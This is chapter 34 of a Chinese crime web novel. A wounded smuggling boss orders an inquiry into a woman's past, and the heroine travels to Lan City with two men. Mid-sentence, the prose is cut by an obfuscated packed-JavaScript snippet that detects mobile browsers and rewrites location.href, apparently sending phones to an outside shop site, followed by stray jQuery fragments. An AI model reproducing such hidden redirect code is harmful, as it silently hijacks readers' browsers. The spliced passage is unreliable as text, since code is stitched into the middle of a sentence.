34. 亦步亦趋

作品:《无心作茧[对抗路]

    林洵坐在酒店的沙发上,看着医生给他处理伤口,十分不耐烦。


    腿上的子弹倒是被取出去了,但还有几条很深的伤疤。


    “这帮黑珍珠号的混蛋真是该死!下此再见到威廉,肯定就不止要他一条腿了,老子定要他好看!”林洵恨恨啐了口,骂道。


    猹子颤颤巍巍地推门进来,垂着头抹了把头上的汗。


    林洵瞥他一眼,没什么好气道:“你他妈是过街老鼠吗?灰溜溜地回来,一个人也没抓住?”


    猹子讪笑几声:“没,没找到。但科伦坡这地方路太挤了,又是大晚上的,人也不好找。”


    “货呢?”


    猹子低着头,不敢说话。


    他旁边的手下支支吾吾道:“没有,人跑太快,把货也带走了。”


    “一群没用的东西!”


    林洵把能伸手碰到的玻璃杯全丢地上,砸成碎片。碎片渣子把红英的脚踝刮伤了,流了血。但她只皱了下眉,没责备他。


    这时,小侯心惊胆战地走来,凑到红英旁说了几句。


    他不敢在这个节骨眼上和林洵搭话,只敢找红英。


    红英听后,面色霎时有了光彩,语气也不自觉地上扬:“林哥,别生气了,好消息。”


    林洵气还没顺过来,冷哼道:“这时候还能有什么好消息?黑珍珠号又抢一批我们的货吗?”


    红英走过去,轻轻地揉捏他的肩颈,柔声道:“不是,是金三角的消息。王应苍那边说明日就把钱打过来。还有,他说这次合作很爽快,他高兴,让秦圩给你带了礼物回来。”


    林洵有些意外:“哦?什么礼物。”


    红英刚没仔细问,闻言看向报信的人。


    小侯摇摇头:“圩哥应该在回威城的路上了,礼物在他身上。王老板也没说是什么。”


    他确实不知道。


    王应苍手下那个豹仔,人长得凶,话也总是只说一半就挂电话。脾气如其名一样暴躁。


    听到秦圩的消息,林洵面上稍稍缓和了些,抬头看猹子一眼:“叫你调查的事,有消息了吗?”


    “什么消息?”猹子愣在原地。


    “还他妈要老子提醒你?”林洵又抄了个酒瓶给他丢过去。


    “林哥我查了的,等我看看,”猹子连忙掏出手机查看:“本来我之前查过她,发现她就是之前欠咱们高利贷人的女儿,还有彭清那小子的姐姐,因为你说她有点怪,我就又去查了下。确实有点奇怪。”


    “继续说。”


    猹子又道:“彭千文是北郊冯文雪康化工有限公司的员工。他有个前妻,叫温苹,三年前得了痨病死了。彭清是他和他前妻的儿子,以前为我们办事,这你也是知道的。要不是他儿子在我们这办事,咱们怎么可能让他来半月借高利贷?后面彭千文和彭倩都染了赌瘾,欠了一屁股债,就去北郊山岳孤儿院收养了个十五岁的女孩。领回去后就让她去卖身,给他们赚钱花。”


    “乐澄?”林洵扬起眉道。


    “奇怪的地方就在这里。我专门派人一早去问了北岳孤儿院的院长,他说没有记录。当时彭清那小子带了家伙,没花钱,也没走正规渠道,所以也没登记小孩的名字。已经过了七八年了,以前管事的人也都换了一批。但他说那年被领养的人有很多,记得孤儿院里是有过这个名字。”


    林洵若有所思地看着落地窗外的夜幕,面色阴沉:“那她也可能不是彭千文的养女。是这个意思吧?”


    “这就不知道了。”猹子面上有些为难,生怕林洵一个不高兴罚他,“要不要我再派人去查查北岳孤儿院以前管事的人?”


    “查。对了,你再去查查当时彭千文在的那公司爆炸的事,还有,是谁负责的那次爆炸事故。”林洵皱眉道。


    “是。”猹子一一记下,退下了。


    林洵烦躁地点了根烟,缓缓吐出烟圈,心里琢磨着。


    秦圩是他半月的左膀右臂,如果有人想对他动手,大可在秦圩身上先动手。所以他一定不会允许这样的事情发生。


    所以秦圩身边的人,一定不能不清不楚。其实他看那个女人第一眼,就觉得心里不是很踏实。现在她突然被海盗拐走,就更可疑了。


    “好了,就让他们下面的人去做吧。你就别操心了,好好养伤。”红英抬手轻揉他的眉心,示意他别太忧心。


    她脚踝上被玻璃渣擦到的伤口还在流血,不过她没有管。安抚眼前这个男人是目前更要紧的事。他不高兴,下面的人也别想好受。


    林洵这才注意到她的伤,俯身摸摸她白皙的皮肤:“你也真是的,怎么受伤了也不喊疼?我不心疼吗?”


    “不是看你在忙吗。我哪能打扰你。”红英娇嗔道。


    林洵回头看了眼医生,神情不满:“没看见她脚流血了?还不快过来消毒?”


    医生忙战战兢兢地拿酒精和棉签过来,给她的伤口消毒。


    林洵又一巴掌甩他脸上,斥骂他:“谁叫你上!给我!”


    医生被打得懵懵的,识趣地把碘伏递给他,又颤抖着手递来棉签。


    红英垂眼看着林洵给自己擦拭伤口,笑道:“你还是老样子。”


    尽管林洵还时不时把头发染黑,但仍看得出他的白发已经长了许多了,再黑的染发剂也压不下他的衰老。他面上松弛的皮肤耷拉着,常年吸烟造成的牙黄显得很邋遢,恶心。


    医生早就退出去了。房里只有她和林洵两人。桌上就放着把手枪。


    林洵俯着身子给她消毒,头低着,也没注意她的神情。


    红英越过他的肩膀,沉沉看着那把手枪,心里忽然没来由地涌上一个想法。当她意识到这个想法是什么的时候,全身都因为兴奋和激动而颤栗。


    但她仍没有动手。因为林洵已经抬起了头,拉着她的手朝床上去。


    她麻木地任由他褪去自己的衣物,目光发散地看向手枪的方向,似乎刚刚的想法已不曾存在。


    *


    已到兰市。


    孟加拉湾一路北上,大约过了大半日才到。


    秦圩将快艇停靠在港口。


    他面无表情地丢了本护照过来,先下了船。


    乐澄接过,翻开确认——是她落在金三角那本。


    虽说是伪造的,但有总比没有的好。


    浪潮拍在海岸上,船身也有些不稳。她站起身收好护照,一时有些没站稳。


    一双手稳稳地将她扶住:“小心。”


    是郑枭。


    乐澄站稳身形:“谢谢。”


    郑枭温和地笑笑,没说话。


    “郑医生,我这里没你的护照。”秦圩明明已经走远了,冷不丁又出现在他们面前。


    郑枭镇静回道:“没事,我随身带着的。”


    秦圩懒得再说什么,转头就走。


    乐澄看着秦圩的背影,有些恍惚。


    不知是不是她的错觉,总觉得他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997879|191513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生气了。


    他在气什么呢?是气她没听他的安分呆在船上,叫威廉送回国吗?还是气她没和他打招呼,擅自决定和郑枭来兰市?


    她摸不着头脑,心里也有些发堵。


    明明更有秘密的是他。他有什么好气的。


    乐澄脸沉下来,气鼓鼓地跟上去。


    郑枭把他们的神情变化都看在眼里,却没说什么,只是提着箱子默然跟上。


    下午三点。


    太阳正对着兰市的港口,灼热的光晒着金色的沙滩和翻滚的浪潮。


    几十只雪白的海鸥时不时飞到海滩,和沙滩上的人们嬉戏。有些小孩儿带了面包来,掰成一块一块的,喂给它们。海鸥一阵一阵的鸣叫声给海滩染上欢愉的气息。


    两个男人和一个女人从港口走来,隐入去口岸过海关的人群里。


    三人顺利过了海关。


    郑枭走到路边,随意打了个车。


    乐澄跟着坐了进去。


    她没关车门,探头朝门外看了眼:“你不上来?”


    秦圩抱着手臂站在原地,面色冷凝:“郑医生恐怕也不想我去吧。”


    乐澄回过头瞥郑枭一眼,见他没什么异样,烦躁地看着秦圩。


    郑枭早就知道秦圩和她不是那种关系。


    所以他这趟跟着一起来,确实是有些奇怪。


    本来也不需要他送,他来便来了,在这里酸什么?


    她确实是和郑枭有事要去办,真不让他去,倒还显得是他们不懂感恩,把他冷落在一边了。


    要不是她秉着礼貌的原则等他,她早就关了车门让师傅开走了。


    郑枭怔然,哑然失笑:“怎么会。秦先生想来跟来就是了。”


    乐澄冷哼一声:“你别管他,他爱来不来。本来也没叫他来。”


    秦圩偏偏不接她的茬,打开后座的门,把乐澄拽出来,自个坐了进去。


    乐澄正想发火,就见他把门关上了。


    “你坐前面。我晕车。”秦圩说。


    她也不想在马路上和他起争执,闷闷坐进副驾驶。


    她又不是没坐过他开的车。


    连续开几小时,都没见他皱一下眉。他晕车,谁相信?


    郑枭把箱子放好,道:“师傅,开到沉香巷三十二号。”


    司机应道:“好嘞。”


    车子稳稳发动了。


    乐澄靠着椅背,将车窗摇下些,看窗外的海滩的景色。


    “小姑娘,来兰市玩吗?看着不像兰市的人。”司机是个四十多岁的大叔,很八卦。


    “嗯。”乐澄已经累了,不想多说。


    “来兰市读大学吗?什么专业呢?”司机又道:


    “药剂学,早毕业了。”乐澄道。


    “哦。有男朋友没?要不要我给你介绍几个?”


    乐澄没接话,语气夹杂了些许戏谑:“不聊天了师傅。后面有人晕车。”


    司机这才讪讪闭嘴。


    秦圩也没接话,仿佛真的晕车了。


    海风刮着她的脸,生冷。


    乐澄摇上车窗,透过后视镜看去,目光在一人身上停留片刻。


    他开了大半日的快艇,眼下染上倦意。


    额角上的发丝蹭上了海水,清晰可见的锁骨上也积蓄了些水露。


    乐澄不由有些烦躁,挪开眼。


    明知道要开快艇,还不多带几条干毛巾,等感冒了就好了。